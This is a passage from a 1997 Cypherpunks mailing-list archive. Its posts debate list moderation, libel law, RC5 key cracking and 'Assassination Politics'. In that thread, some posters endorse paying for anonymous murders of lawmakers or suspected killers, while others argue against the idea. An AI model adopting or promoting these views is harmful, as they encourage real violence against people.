   In an AP world, this triangulation/correlation would be enough to
   convince people to either shun this killer, or kill him outright.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 14:27:24 -0800 (PST)
To: blanc <cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <199702022227.OAA03410@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970202:0457 blanc <blancw@cnw.com> said:

+Yes, if the Magna Carta guaranteed a right and the forefathers fought
+to  secure it, why should any of us ever have to lift a finger in our
+own  defense.

    seems to me Jefferson said it took a rebellion every 20 years or so 
    to keep democracy awake...  other than presuming your answer is 
    tongue in cheek (not elsewhere), complacency == welfare.

+My contribution to this thread from the Cpunk History & Philosophy 
+Division:   a Jewish saying from a book I glanced through of couple of 
+weeks ago, something like:
+
+	"What good is it to a man who has lost his sight
+	  that his ancestors had perfect vision."

    not a lot, but that does not mean he should scorn those who have
    managed to retain their sight. your saying is rather characteristic 
    of the genre --best glamourized in Mad magazine. 

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=y085
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 22:12:59 -0800 (PST)
To: Jim Choate <cypherpunks@toad.com>
Subject: Re: Free & Open Society & toleration
Message-ID: <199702030612.WAA14299@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970201:2001 Jim Choate <ravage@einstein.ssz.com> said:

+I further hold that one of the current legal practices based on
+precidence which MUST be replaced is our system dealing with
+defamation. I further hold that our current system of legal
+representation is inherently flawed and prevents equal representation
+under the law.

    BULLSHIT

    why don't you toll the bell for freedom while you're at it, and 
    think about 'for whom the bell tolls.' --it tolls for thee.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 2 Feb 1997 22:11:32 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702030611.WAA14254@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> With no false modesty I tried awfully hard to compose
> substantive essays on crypto-political topics, often more than one per day.
> (Others did too, but they seem to be tapering off as well, leaving the list
> to be dominated by something called a "Toto," the "O.J. was framed!"
> ravings of Dale Thorn,

Dale, that's me!

> * To summarize:
> - the decision to censor the list was made without any discussion on the
> list, without any discussion with at least some of the longterm core
> contributors, and was presented as a "fait accompli."
> - while John has every right to do with his hardware as he wishes, he does
> not "own" the Cypherpunks group (though whether he owns the "list" is a
> semantically debatable point)

Which is exactly the point I labored so long on while Tim May was
sitting on the sidelines.

> - whatever our group once was, or still is, is not dependent on having a
> particular mailing list running on someone's home machine...and it cannot
> be claimed that any person "owns" the Cypherpunks group.

Ditto.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 22:11:34 -0800 (PST)
To: Jim Choate <toto@sk.sympatico.ca>
Subject: Re: Free & Open Society & toleration
Message-ID: <199702030611.WAA14255@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    are you really saying we must dispose of our time honoured 
    tradition of "the best justice money can buy..." ???  say it is not 
    so; where would our legal system be without body trading?

    as for the communist/socialist ideal of work/need/want where want 
    is suppressed --it does not work; never has, never will. even the 
    religious orders have not made it work over time (other than by 
    fear).

on or about 970201:2218 Jim Choate <ravage@EINSTEIN.ssz.com> said:

+1.  Removal of the lawyer from the ultimate choice of whether the case
+    should be pursued.

    whew, open the floodgates. free lunch.

+2.  The minimalization of the defendants and plaintiffs monetary
+    resources
+    by removing them from the legal system by choosing the legal
+    representation of both parties by lot.

    damn, free dinner, too.

+3.  By moving the responsibility of police to provide evidence from the
+    prosecution to the court we equalize the impact of irregularities
+    in evidence selection as well as minimizing the sorts of evidence
+    disputes which so impact some trials (ie OJ Simpson).

    my, we're on a roll, aren't we?

+4.  By the implimentation of a bond proviso on the part of the
+    plaintiff
+    the system provides a check and balance reducing nuisance cases as
+    well as reducing the taxation load on the citizenry.

    this is already a factor in the need to pay an attorney his 
    ridiculous fees. being required to post a plaintiff's bond does 
    nothing to equalize the rights of the have nots --most of whom seem 
    to have unlimited resources from the dogooders anyway.

    Get real, Jim.  it may not be the best system, but other than 
    enforcing the principles on which it is founded, and stripping 
    attorney privileges to a percentage of the take, the system works 
    quite well; corruption on the bench is whose fault?  ours, just 
    like the excesses in Washington are our fault.

    it is _our_ failure to insist on clean, representative government 
    and judiciary.  and to convert to a pooled system for equality is 
    not going to stop graft -it is built in to human greed.  

    stop apathy on _our_ part, and we will stop graft.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 22:11:23 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <199702030611.WAA14240@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Steve Schear

I sincerely doubt that many would use AP to right small slights, anymore
than many now kill others for the same reasons.  The world has always been
inhabited by bullies and tyrants who cared little of what harm they caused
others.  An AP system would quickly eliminate bullies and tyrants.
....................................................

Some of them.  But like an infection which can be potentialy killed with 
antibiotics, ignoring the unhealthy conditions which made it possible to 
establish itself will frustrate the attempts to prevent the phenomena of 
its recurrence.

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 2 Feb 1997 22:11:24 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702030611.WAA14241@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> Better yet, set up a system to encourage the public to USE those guns (and 
> other weapons) to get rid of the people who pass such laws, and the problem 
> is solved.
> 

How about this scenario: I borrow 1 million dollars from, let's say,
Phill Hallam-Baker. Not wanting to pay it back, I pay to the
assassination bot and arrange him to be murdered.

Another story: suppose that I negligently caused fire that destroys
house of, say, Toto. Toto knows that if he sues me, I can arrange him
murdered for the amount less than the amount of damages. As a result,
he refrains from suing me, or (if he is a mean person) pays additional 
money to have me murdered. A suit would probably be a much better outcome.

Another story: suppose that OKSAS hired me to work for her, but then
our relationships go south and she fires me. Again, her fate is very
unclear, although I would probably spare her life if it were she. 

The bottom line is, it becomes very hard to do ANYTHING that disappoints 
at least somebody. That can lead to a lot of inefficiencies.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Moskowitz <rgm3@chrysler.com>
Date: Sun, 2 Feb 1997 22:12:59 -0800 (PST)
To: ietf-sectest@toad.com
Subject: Re: Reminder: Release 0.4 of my Linux IPSEC code is out.
Message-ID: <199702030612.WAA14304@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:29 AM 1/29/97 +0200, John Ioannidis wrote:
>
>Please note that in some countries such as the USA, it is unlawful for a 
>citizen of that country to provide technical assistance "with the intent to 
>aid a foreign person in the development or manufacture outside the United 
>States" of
>"Encryption Items". 

I think there is a partial 'out'.  If a US company is attempting to
interoperate with your code and fails, they can point to the part of a
public specification related to the failure.  Such as our implementations
failed to interoperate related to section n.m.o of rfc wxyz.

But I am not a lawyer, only heard this explaination 3rd hand from a lawyer.



Robert Moskowitz
Chrysler Corporation
(810) 758-8212






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 2 Feb 1997 22:26:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: VOICE STRESS ANALYSIS
Message-ID: <199702030626.WAA14604@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Awhile back we were discussing voice-stress analysis; just got this item on 
the subject; he said it's okay to post it.



>From: Spectre334@aol.com
>Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST)
>To: jimbell@pacifier.com
>cc: BLAMES2778@aol.com, AFSCA@aol.com, JLeek426@aol.com
>Subject: VOICE STRESS ANALYSIS
>
>MR. BELL:
>
>I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO,
>HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW.
>
>I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL.  IT
>HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS.
> NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN
>CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS.
>
>AMONG ITS OTHER BENEFITS, VSA REQUIRES NO INTIMIDATING HOOKUP TO THE
>SUBJECT'S BODY, IN ORDER TO MEASURE THE LEVEL OF STRESS.  IT CAN BE CONDUCTED
>VIRTUALLY ANYWHERE - EVEN WHERE NO ELECTRICITY IS PRESENT.  PERHAPS MOST
>PERTINENT TO YOUR QUESTION, VSA CAN BE SOMETIMES PERFORMED ON PEOPLE WHO ARE
>NO LONGER AROUND, THROUGH THEIR RECORDED VOICES.  THIS IS CALLED "NARRATIVE
>ANALYSIS" AND IS SOMEWHAT TOUGHER THAN THE BASIC QUESTION - AND -ANSWER
>APPROACH, SINCE THE EXAMINER CANNOT CONTROL THE CONTENT AND SEQUENCE OF
>QUESTIONS, IF THE SOURCE IS A PAST RECORDING.
>
>THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY
>DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT
>AGENCIES IN DECEMBER, 1996.  THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO
>THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR
>SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS.
>
>YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A
>RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT
>DATA ON A ROLL OF THERMAL PAPER.  THOSE DAYS ARE GONE FOREVER.  
>
>IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS,
>PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND
>FAX NUMBER.
>
>THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS.
>
>SINCERELY,
>
>TOM
>
>(THOMAS F. MCGRAW)
>
>
Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 2 Feb 1997 22:13:14 -0800 (PST)
To: dthorn@gte.net
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702030613.WAA14333@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> 
> > How about this scenario: I borrow 1 million dollars from, let's say,
> > Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> > assassination bot and arrange him to be murdered.
> 
> Igor, there's an old saying in this country: the best way to lose a
> friend is to lend him money.

Phill, in this example, is not my friend, but a lender.

> > Another story: suppose that I negligently caused fire that destroys
> > house of, say, Toto. Toto knows that if he sues me, I can arrange him
> > murdered for the amount less than the amount of damages. As a result,
> > he refrains from suing me, or (if he is a mean person) pays additional
> > money to have me murdered. A suit would probably be a much better outcome.
> 
> Sometimes you have to pay a steep price for negligence, like neglecting
> to watch how close you get to the edge of the road on, say, Topanga
> Canyon or one of those (long way down).  Now, since people *know* to
> be extra careful on the canyon roads, don't you think by the same
> analogy they'd be extra careful with other things when AP is running?

Mmm, likely the result will be that Toto will be impoverished (it is an
example, do not take it personally) and will not only not be able to
murder me, but also will be too afraid to sue me (because I would
rather pay for a cheaper assassination than to pay damages).

> > Another story: suppose that OKSAS hired me to work for her, but then
> > our relationships go south and she fires me. Again, her fate is very
> > unclear, although I would probably spare her life if it were she.
> 
> If she does it right, with empathy, there is not likely to be a
> problem.  On the other hand, if she bad-mouths you to prospective
> employers or customers you want to do business with, you might be
> inclined to hit her.  This happens a lot when AP is not available.

... But would happen more often if it was.

> > The bottom line is, it becomes very hard to do ANYTHING that disappoints
> > at least somebody. That can lead to a lot of inefficiencies.
> 
> To get rid of everyone who pisses you off, you'd have to pay a lot
> more money than you'll ever have, therefore not a problem.  Those

Why, I will have a lot of money.

> people who have such money are not going to bump off very many more
> people than they already do, because:
> 
> 1. They need the people to make money off of (Mafia rule #4, never
>    kill someone who owes you money [or is a money source]).

This is a wrong Mafia rule, they do kill debtors who are in default.

> 2. Rich people have a lot of eyes on them, and it would be easy to
>    triangulate a series of murders to them, even without hard evidence.
>    In an AP world, this triangulation/correlation would be enough to
>    convince people to either shun this killer, or kill him outright.

When ten people make deals with each other, it becomes hard to
triangulate. And it is easy, if you know what deals are done, to change
the result of triangulation: suppose that I know that you borrowed 1
million from Toto, that my _and_ yours business partner had been
murdered (by me, but no one knows), and I am afraid that someone will
triangulate me and implicate me in that murder. I secretly order
the AP bot to kill Toto, and you get implicated.

Not good.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl11.crl.com>
Date: Sun, 2 Feb 1997 22:26:08 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702030626.WAA14617@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

Where to begin?  Tim May has taken the time to write broad and
thought provoking essay on this list's current moderation 
experiment.  I appreciate his analysis--and candor.  While I do
not agree with all he has written, I enormously respect his
dedication to his point of view.  

On Sun, 2 Feb 1997, Timothy C. May wrote:

> I chose not to write a "departing flame" (or message, but some might call
> it a flame) when I unsubscribed several weeks ago--within an hour of
> reading that John and Sandy had decided to make "their" list a moderated
> list,...

This is Tim's first error of fact.  I point it out not to insult
him, but because it seriously affects much of the rest of his
analysis.  We are conducting an experiment.  It will last one 
month.  After that, it's over if list members want it to be over.
If, on the other hand, moderation is seen by the list members as
beneficial to their use and enjoyment of the list, the current
form of moderation--or some variation will continue.

> ...and saw no point in wasting even more of my time arguing against the New
> Cypherpunks World Order, as the NCWO was clearly presented as a fait
> accompli, not something ablut which opinions of list members (or even list
> _founders_, at least not me) were being sought.

Factual error #2.  There was a call for comment; Tim chose not to
do so.  In retrospect, I wish we had run it by Tim, Eric and 
Hugh in more detail before making the annoucement, but we didn't.
Certainly a tactical error and a breach of protocol, but not the
end of the world.  Sorry Tim.  I should have spoken to you first.

> I see vast amounts of bandwidth consumed by arguments about
> moderation, about the putative biases of the Moderator and Director of the
> New Cypherpunks World Order, about alternative moderation strategies (which
> is stupid, as John and Sandy announced what they were going to do, not just
> some of their preliminary thoughts), and so on. I've also noticed fewer
> substantive essays.

And I see something different.  Since previously, Tim actively
filter the list, I'm not sure on what basis he can make his
comparison.  As just one example (though a signicant one) Dimitri
has posted more non-flaming, on-topic posts during the two weeks
of this experiment then in the previous several months.  In my 
opinion, other than for the hysterical posts of a very few 
self-righteous loudmouths, the overall quality of the posts has
been far superior to what it had become in the weeks before the
experiment began.  YMMV.

> With no false modesty I tried awfully hard to compose substantive
> essays on crypto-political topics, often more than one per day.

I would hope that Tim will return to this practice irrespective
of whether the list remains moderated or returns to its previous
policies.  More on this, below.

> (Others did too, but they seem to be tapering off as well, leaving the list
> to be dominated by something called a "Toto," the "O.J. was framed!"
> ravings of Dale Thorn, the love letters between Vulis and someone name
> Nurdane Oksas,...

Two points:  Since Tim largely agrees with those in opposition to
moderation, and because of the extraordinary nature of Tim's post,
I did not send it to the "flames" list.  It was a judgment call.
 
The problems Tim describes, did not arise with moderation.  
Indeed, they were the imputus for the moderation.

> * But the really important issue is this: is the _physical hosting_ of the
> Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
> was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
> these hosts to be the "owners" of the Cypherpunks group?...

I think this is a Straw Man.  John and I have never argued that
John "owns" cypherpunks.  When a Cypherpunk meeting is held in
someone's living room, however, I don't think it's asking to much
to ask everyone to follow the local rules (e.g., "no shoes in the
house" or "no smoking" or even "no ad hominem attacks").  As Tim
is fond of saying, "my house; my rules."  I don't think this 
means Tim "owns" a physical meeting in his house.

> While John had (and has) every legal right
> to do with his property as he wished, the effect was very negative. First,
> Vulis found other ways to post (duh).

Tim, do you really believe that John did not anticipate this?

> Second, the list was consumed with
> flames about this, many from Vulis, and many from others.

It was consumed with flames before.  Now, at least, the vast
majority of folks on the list don't have to read them, nor jump
through any hoops to implement some sort of dynamic filtering
half-measure.

> Third, journalists (who love sizzle over substance any day of
> the week) lept into the fray with articles which gave Vulis the
> publicity he craved.

That's what journalist do, though I wasn't aware of ANY articles
on this issue.  I would appreciate it if Tim could give us some
citations.  

> Fourth, it sent a message to enemies of liberty that "Even the 
> Cypherpunks have found it necessary to abandon their anarchic
> ways."

That's one message that one could take from all this, I suppose.
I don't see it that way, nor do several list members who thanked 
me in private e-mail for improving the list.  Again, YMMV.
 
> (I'm well aware of the issues with pests like Vulis, who seek to destroy
> virtual communities like ours. But the solution John used did not work, and
> generated more crap....

What didn't work was "local filtering" which has no feed-back 
loop to engender comity.  This might not work either, but I see
no evidence that it has made things worse.  Remember, there are a
hand-full of subscribers to the Flames list, 20-30 on the 
Unedited list and *2000* or so on the Moderated list.  Sure some
of that may be due to laziness, but it would be cavalier in the
extreme to claim that such an overwhelming acceptance of 
moderation is merely an artifact of inertia.

But to make things perfectly clear one more time, ANYONE WHO 
WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO 
"CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES."  

> * "Censorship" is another overloaded term. I don't think the "Definition 1"
> of dictionary definitions, about _governmental_ restrictions, is the only
> meaningful definition. Everybody knows what it meant when we say that
> "Lockheed is censoring the views of employees," even though we know
> Lockheed is not using government power. A censor is one who censors. And
> even my "American Heritage Dictionary" gives this as its "definition 1":
> 
> "censor n. 1. A person authorized to examine books, films, or other
> material and to remove or suppress morally, politically, or otherwise
> objectionable."

Tim and I disagree on which definition of "censorship" applies in
this situation.  Dale Thorne, and others, have argued, in essence,
that there is censorship if ANY definition would apply.  I'm not
sure time is going that far, but if so, I respectfully disagree.

But let's apply Tim's above definition for the sake of argument.
Am I, thereby, a censor?  Well I am examining "other material" 
and I am making judgments with regard to whether or not it is
"objectionable," unfortunately for Tim's argument, I am neither
"removing" nor "supressing" anything.  Anybody can read anything
that gets posted to Cypherpunks--in two places.  I am sorting,
but even my sorting can be completely avoided.

> * OK, even given that John had decided to censor "his" list, what about his
> choice of Sandy Sandfort as the censor?

John didn't choose me, I approached him.  I offered my opinion as
to what I thought HE ought to do about the list disruptions.  The
short version of his answer was, "if you think you can do a 
better job, go for it."  I accepted the challenge, so here I am.
I don't want this job.  If the list members decide to keep the 
list moderated, I hope to keep my involvement as a moderator to a
minimum.  Any volunteers?

> * Nor do the announced criteria make any sense. While the inane one-line
> scatological insults have been filtered out, many "flames" make it through,
> based on what I've seen in perusing the hks archive site. And some
> reasonable comments get dumped in the flame bucket.

Very possibly true.  Moderation is like crypto, perfection isn't
and option.  However, a 90% solution is a heck of a lot better 
than no solution at all.  Yes, I've made what I consider to be
errors, but I think on some, I've done a very good job overall.
 
> * (Frankly, one of my considerations in leaving was the feeling that I
> would never know if an essay I'd spent hours composing would be rejected by
> Sandy for whatever reasons....

Tim, I think this is disingenuous.  I have been quite clear on 
my moderation criteria.  You are too intelligent to feign such
a lack of understanding.

> maybe he might think my essay was off-topic,

Clearly not a criterion I ever enunciated.

> or used one of the Seven Deadly Words, 

Clearly not a criterion I ever enunciated.

>or was "too flamish."

Bingo (with the proviso that it be a personal attack on a list
member as opposed to the substance of his or her argument).

> * The decision to "moderate" (censor) the Cypherpunks list is powerful
> ammunition to give to our opponents,

Piffle.  Letting spoiled children destroy the list puts a far
more powerful weapon in the hands of our enemies.

> and Vulis is certainly gleeful that
> his fondest wishes have been realized.

I do not have a crystal ball.  My Vulcan mind meld is in the 
shop.  No one--neither Tim, nor I, nor probably even Vulis--knows 
whether is gleeful about all this or not.  An frankly, who cares?
The question is, are list members happy or not with moderation.
Tim was not.  I am.  By the end of the experiment, I dare say we
will have a good idea what most list members think. 

> (I would venture a guess that a Duncan Frissell would almost certainly get a
> libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
> get a leftist rant past him.)

I sorry Tim gives me so little credit.  Rather than merely post a 
self-serving denial, I would ask that Phill confirm or deny Tim's
supposition.  To the best of my recollection, I have sent only
one post of Phill's to the Flames list.  It flamed Jim Bell.  As
far as moderating political rants go, I'm agnostic.

Look folks, when you stop trying new things, and stop questioning
conventional wisdom, you are as good as dead.  Maybe moderation
is the best think since sliced bread; maybe it sucks.  How about
we give it a good-faith try for the next 2+ weeks and see how it 
goes?  If the consensus is it sucks, I intend to be gracious in
defeat.  If it goes the other way, I hope that the neighsayers 
will accept it and let the list get on with its role as a forum
for the protection of privacy.

Thanks again, Tim, for sharing your views with us.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl10.crl.com>
Date: Sun, 2 Feb 1997 22:40:42 -0800 (PST)
To: roy@scytale.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702030640.WAA15028@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 2 Feb 1997, Roy M. Silvernail wrote:

> In Minneapolis and Anchorage (the two cities of which I have knowledge)
> mail carriers have a key that opens not only apartment-style mailboxes,
> but little boxes on the outside of apartment buildings that hold a key
> to the building's lobby.  Snag one of those keys and a large portion of
> the city opens its doors to you.  (some buildings have further locked
> doors beyond the mailbox lobby to counter this threat)

So much for key escrow.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Mon, 3 Feb 1997 06:41:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Gilmore's Moderated Cypherpunks List
Message-ID: <199702031441.GAA25301@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Our Former Titular Leader Bails and Expounds Thusly Over the
Smoking Remains of the Once Mighty Cypherpunks List:

 > First, I don't argue that John Gilmore is unfree to do as
 > he wishes with his machine, toad, which has been the major
 > machine host for the Cypherpunks list. John can tell us we
 > have to write in Pig Latin if he wishes.

Freedom of the Press belongs to those who own one. Since there
are no legal restrictions on the name "Cypherpunks", anyone with
a working box can host a "Cypherpunks List", and individuals may
choose to spend their reputation capital improving the S/N ratio
of whatever Cypherpunks Lists they favor.  In this sense, a
"Cypherpunks List" is like a "Webster's Dictionary." Anyone can
use the name, and the deluxe leather bound edition put out by a
University is better than the tacky newsprint one offered as a
premium by your local book club.

Gilmore's Moderated Cypherpunks List is one of many forums where
Cypherpunks may choose to congregate, some of which carry the
name "Cypherpunks," and some of which do not.

 > I think we should all be very grateful to John for agreeing
 > to let it run on his hardware, but not let our gratitude
 > turn into some sort of subservience and blather about how
 > John "owns" the Cypherpunks group.

I think we should have nipped Gilmore in the bud when he censored
Vulis, and immediately looked for a new site to host a
Cypherpunks list which was not subject to sudden and arbitrary
censorship by the site owner.  John, of course, would have been
perfectly free to continue to host "Gilmore's Moderated
Cypherpunks List", and we would have perfectly free not to post
there any more.

Instead, being comfortable and lazy, we tolerated Gilmore's
pathetic attempts to exterminate the pesky Vulis, and given that
Vulis was more than a match for Gilmore mentally, the pissing
contest soon escalated as the frantic Gilmore took more and more
extreme measures to find "the final solution" to the good
Doctor's posts.

Again, predictable behavior by everyone involved.

 > Again, is the "Cyherpunks community" the same as the mailing
 > list? And is the mailing list, hosted at toad, the "property" of
 > John Gilmore?

Of course not.  What a silly notion.

All mailing lists that survive more than a few months are
organized around some strong personality who nudges the list back
on-topic when it begins to stray, and who posts articles
interesting enough that people will make regular visits to read
them.

If no one performs this function on a list, the list will die.

I think most people will agree with me that Timothy C. May has
been the person who performed this function here on Cypherpunks,
from its creation until fairly recently.  If he chooses not to
perform this function on "Gilmore's Moderated Cypherpunks List",
that is Mr. Gilmore's tough luck.  Perhaps if Mr. Gilmore asks
nicely, Dr. Vulis will volunteer.

Then again, perhaps not. :)

 > I'll have more to say about my problems with how things
 > were handled. Frankly, it smacked of the same kind of fait
 > accompli decision John made with the unsubscribing of Vulis.
 > While John had (and has) every legal right to do with his
 > property as he wished, the effect was very negative. First,
 > Vulis found other ways to post (duh). Second, the list was
 > consumed with flames about this, many from Vulis, and many
 > from others. Third, journalists (who love sizzle over
 > substance any day of the week) lept into the fray with
 > articles which gave Vulis the publicity he craved. Fourth,
 > it sent a message to enemies of liberty that "Even the
 > Cypherpunks have found it necessary to abandon their
 > anarchic ways."

I agree completely.  Do real Cypherpunks want to post to a list
run by someone who has undermined their agenda and made them look
like hypocritical idiots to the world?  Gilmore has done more
damage to the good name of Crypto Anarchy in the last few weeks
than the government spooks could ever have hoped for in their
wildest dreams.

 > But by making the _main list_ the censored one, this skewed
 > things considerably.

Yes, this was a sleezy and perfidious trick by Gilmore, who
apparently wanted to transform "Cypherpunks" into "Gilmore's
Moderated Cypherpunks List" by fiat.  Even the unedited list was
an afterthought to pacify critics, and you can be sure that it
will evaporate as soon as he thinks no ones complaints will be
heard.

 > Had there been a debate about the policy, I can think of
 > several approaches I'd like better. But inasmuch as John
 > made it clear that there would be no debate (and, perhaps as
 > part of the "problem," John has not really been a active
 > member of the mailing list, in terms of participating in the
 > debates), this is all moot.

 > In any case, my several years with the list have taken a
 > huge amount of my time. Given the way this whole thing was
 > handled, and the way the list is degenerating even further,
 > it looks like it's good that I'm moving on to other things.

Hey - if John Gilmore can attract readers to "Gilmore's Moderated
Cypherpunks List" by virtue of his charming personality, more
power to him.

Really. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Sun, 2 Feb 1997 22:26:06 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <199702030626.WAA14616@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors,
almost all standard Unix college-lab workstations, as I understand it.
(RC5 has a variable block size and a variable number of rounds; but the
unknown plaintexts for this contest were enciphered using a declared
12-round RC5 with a 32-bit word size.) The message Ian revealed was
something like: "That's why you need a longer key!!!!!"

	RSA posted rewards for anyone who can break a 56-bit DES challenge
and/or any of 12 variable-length RC5 challenge messages.  The 40-bit RC5
cipher was the least of these and was expected to fall quickly.  The
initial RSA announcement of the contest emphatically declared that even
56-bit-key crypto (DES or RC5) offers only "marginal protection" against a
committed adversary -- which is not to in any way minimize Ian's
accomplishment, or the efforts (some also successful!) of others who also
tackled the 40-bit challenge.

	SDTI/RSA celebrated Ian's achievement enthusiastically at the RSA
Security Conference in San Fran last week. Burt Kalisky, the Chief
Scientist at RSA, preempted a main session at the Conference to do an
on-stage telephone interview with Ian about his attack.  SDTI (RSA)
apparently hopes to use Ian's "timely" achievement to urge Congress to
challenge the idiotic 40-bit EAR ceiling and the key-escrow contracts
required to get a 56-bit export license.

	 (The network Ian used to link his lab workstations, NOW at
Berkeley, is definitely not standard, however.  I think there is a
description of it online; but briefly, NOW seems designed to very
efficiently handle this sort of intensive distributed processing project.
More important, perhaps, was the fact that Ian just chewed through the
possible keys with a pure brute-force attack on the key space.  His attack
was not really optimized for RC5, or designed to attack any specific
element in the RC5 crypto architecture.)

	Jim Bitzos of RSA also gave a thought-provoking thumbnail summary
of the IBM Key Recovery Alliance (making a better case for it in 30 seconds
than the long technical presentatations from IBM.)  As Bitzos explained it,
the variable key-size control allows a corporate user to communicate
through encrypted links to a variety of international recipients --
dynamically adjusting the encryption mechanism to whatever varied
restrictions are required by the French, German, US, UK, etc. , govenments.

	"It's an imperfect world," growled Bitzos -- but both users and
vendors need workable mechanisms today to allow them to adapt to whatever
contraints on strong encryption that are, or will be, required by the
various national authorities.  It's a mistake, he suggested, to think of
the IBM Key Recovery Initiative soley in terms of US controls.  Many
governments are reacting with hostility to the availability of strong
encryption -- and until the Market finds a voice and educates the political
and spook cultures, commercial entities will inevitably have to adapt their
work-a-day communications security to a wide variety of national crypto
controls and key-length restrictions.

	(What I got about the IBM presentations was the realization that
there is nothing in the key recovery mechanism, per se, that requires the
recovery key to be held by a third party.  That, to my mind, is the
